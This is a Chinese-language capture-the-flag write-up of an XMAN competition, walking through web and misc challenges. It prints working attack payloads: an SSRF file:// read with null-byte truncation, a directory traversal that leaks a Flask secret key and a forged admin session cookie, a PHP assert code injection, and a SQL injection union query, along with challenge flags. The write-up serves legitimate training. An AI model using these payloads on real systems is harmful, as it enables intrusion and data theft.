0x00:前记

我又双叒被暴打了....


0x01:Meizijiu_magic2

题目描述:

flag格式:FLAG{.*}
hint: token_get_all()

解题思路:
题目给了一个很奇怪的文件,搜了一下发现这个文件是由token_get_all()生成的.这一函数会将php源码按照内置的规则进行归纳,并输出成数组格式。但是太菜了,逆不出来原来的代码,只能靠手动拼接仅有的字符串加靠猜,猜到了是通过secret输入一串东西,然后等于一个变量的话就能得到flag,但是被一开头的base64_decode影响到老是感觉传入的是一个字符串,所以就没去爆破,后来比赛结束后问了一下acdxvfsvd师傅,发现是输入的是一个整形,可以直接爆破出来.......
我还是太菜了...最后输入的payload是:

?secret=198

2.png


0x02:Simple SSRF

题目描述:

flag格式:XMAN{.*}
hint:curl
hint:flag在/etc/flag.txt

解题思路:
题目要求所输入的网站必须是www.baidu.com而且通过fuzz发现parse_url()解析后的HOST也必须是www.baidu.com,所以就不能使用@绕过了,但是可以使用file://协议读取本地文件,一开始做的时候一直提示get source failed后来推测后面补了一个后缀名,然后尝试使用%00截断发现终于可以读到文件了.最后的payload:

file://www.baidu.com/etc/flag.txt%00

1.png


0x03:SSHOP

题目描述:

flag格式:
flag{.*}

解题思路:
打开题目后发现能直接把源码下下来审计,发现只要session['admin']==True就能获得flag.
首先看一下判断部分的代码:

# 用户信息
@users.route('/')
def user():
    if not login_status_check():
        return redirect(url_for('users.login'))
    flag = open('./flag').read() if is_admin() else False
    return render_template('user.html', user=user, flag=flag, current_user=1)

def is_admin():
    if login_status_check():
        return session['admin']
    else:
        return False

def login_status_check():
    return bool(session.get('id', False))

这里的逻辑就是先判断session中是否有ID(是否登陆),如果有的话就返回session['admin]的值,那么再看一下这个session['admin']是怎么来的.

@users.route('/login', methods=['POST', 'GET'])
def login():
    Login_error = False
    if request.method  == 'POST':
        user = User.query.filter_by(username=request.form.get('username')).first()
        if not user or user.password != request.form.get('password'):
            Login_error = u'用户名或密码错误'
            return render_template("login.html", Login_error=Login_error)
        else:
            session['id'] = user.id
            session['username'] = user.username
            session['admin'] = False
            return redirect(url_for('users.user'))
    return render_template("login.html")

可以看到这里只要登陆成功后便会把session['admin']设置为False,一开始在这个地方卡了好久,不知道修改session['admin'],后来在查文章的时候发现ph师傅博客提到了flask session机制.详情
博客里面提到flask中使用的session是客户端session,通常session是储存在服务端里面的,用户能看到的只是session的名称,并不能看到他的值,而flask使用的是客户端session,是直接把值储存在用户的cookie中的,所以这就导致了用户可以篡改session.看一下本题的secret_key

with open('.secret_key', 'a+b') as secret:
    secret.seek(0)
    key = secret.read()
    if not key:
        key = randstr(32)
        secret.write(key)
        secret.flush()

他使用的flask默认的加密方法,并且不是随机生成的key,而是读取外部的key.所以我们只要获取了key就可以伪造session了.审了好久发现了一个目录穿越漏洞.

@users.route('/asserts/<path:path>')
def static_handler(path):
    filename = os.path.join(app.root_path,'asserts',path)
    if os.path.isfile(filename):
        return send_file(filename)
    else:
        abort(404)

他这里没对传入的参数进行过滤,所以导致了可以目录穿越.直接访问/assert/..%2f..%2f.secret_key就可以获取到key,然后本地搭建环境,把登陆部分的session['admin']=False改成True;然后抓登陆后的包,把cookie复制过去题目就能看到flag了.
3.png
此时session解码后的东西为:

[root@sheldon ~]# python session.py .eJwVT8GKwjAU_JXlnXvQbnspeFAaAgvvFUtMSC6LS6vJs-lCq6xb8d-NpxlmmGHmAd_3eTpB9YCPH6iAlPdo2ovlc07R-UZi4SIujsXaKlGSGhgXCo08JK2NxF-hMXZFRgeKtkR1KFIuYK4HUmLVqP1C9faOso3InjHl0Nh_p-ya1LkkaXOS4g8XUVjWbM2-cKwvTqa-Wgc05OntJcR6l3jaotqAUWzgmcGxi2GE6jrd-gxCB9VnBre5n8Zj7NOd2fdD9zvC8wXqdEz3.Dk9Dlg.gzYqUxpbRGEGkQW5xmEGYMmxrF4
{u'admin': True, u'_xsrf': '58a1ddb866fa8c8fc3f15a1959c33b8e3f4f62b9f45eb6f91586fb3ee5149434010df28c0e31f2e655894f64a0318b5cad8f5ddeb45b1ca718aca00a733e4b2a', u'username': u'sheldon', u'id': 3}

把cookie复制过去刷新就能看到flag了
4.png


0x04:makeit

题目描述:
flag格式:XMAN{.*}
解题思路:
网站提示.git源码泄露,把源码下下来发现存在逃逸命令执行.

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

可以看到代码直接使用了传入的参数$file,并且使用的是assert,所以存在代码注入.
payload:

?page=1') or print_r((file_get_contents('templates/flag.php')));%23

可以直接在源码里面看到flag.
5.png

0x05:BBSQLI

题目描述:
flag格式:xman{.*}
解题思路:
一开始以为是二次注入,插了好久没思路,后来换了个浏览器,发现之前数的东西没了,看一下HTTP头部,猜测可能是通过session判断每个人输入的内容,尝试在session注入.发现可以注入,直接开始查数据
6.png
但是后面在查数据的时候碰到了一个坑..因为表名是[GDJM_flag],直接查的话会报语法错误,需要在库名加一个反引号.
payload:

' union select 1,flag from `[GDJM_flag]`#

7.png


0x05:FILE

这次比赛MISC在网上查到了两题原题..直接对着敲命令就行了......emmmm发现flag也没改..
payload:

extundelete --restore-all task_file.img

flag{fugly_cats_need_luv_2}

0x06:XMAN通行证

hint:xman最强王者开始了,拿到通行证,开始你的王者之路。
XMan通行证flag格式:xman{.*}
hint:这是个签到题;
hint:base64解码
进行栅栏密码加密
使用凯撒密码进行解密

根据hint提示就可以得出flag了,但是在栅栏的时候用本地工具一直不对,后来尝试在另外一个网站解出了另外一个答案才是正确答案.

flag{xman{oyay_now_you_get_it}

0x07:PPAP

emmmm.也是搜到的原题...
从流量包中提取了一大堆图片的base64,然后用wp里面的脚本跑一下就行了..(其实我是直接复制wp里面的flag提交的
链接


0x08:总结

个人认为学CTF还是要能静得下心,不能太浮躁.
技不如人,甘拜下风.希望师傅们能带我挖SRC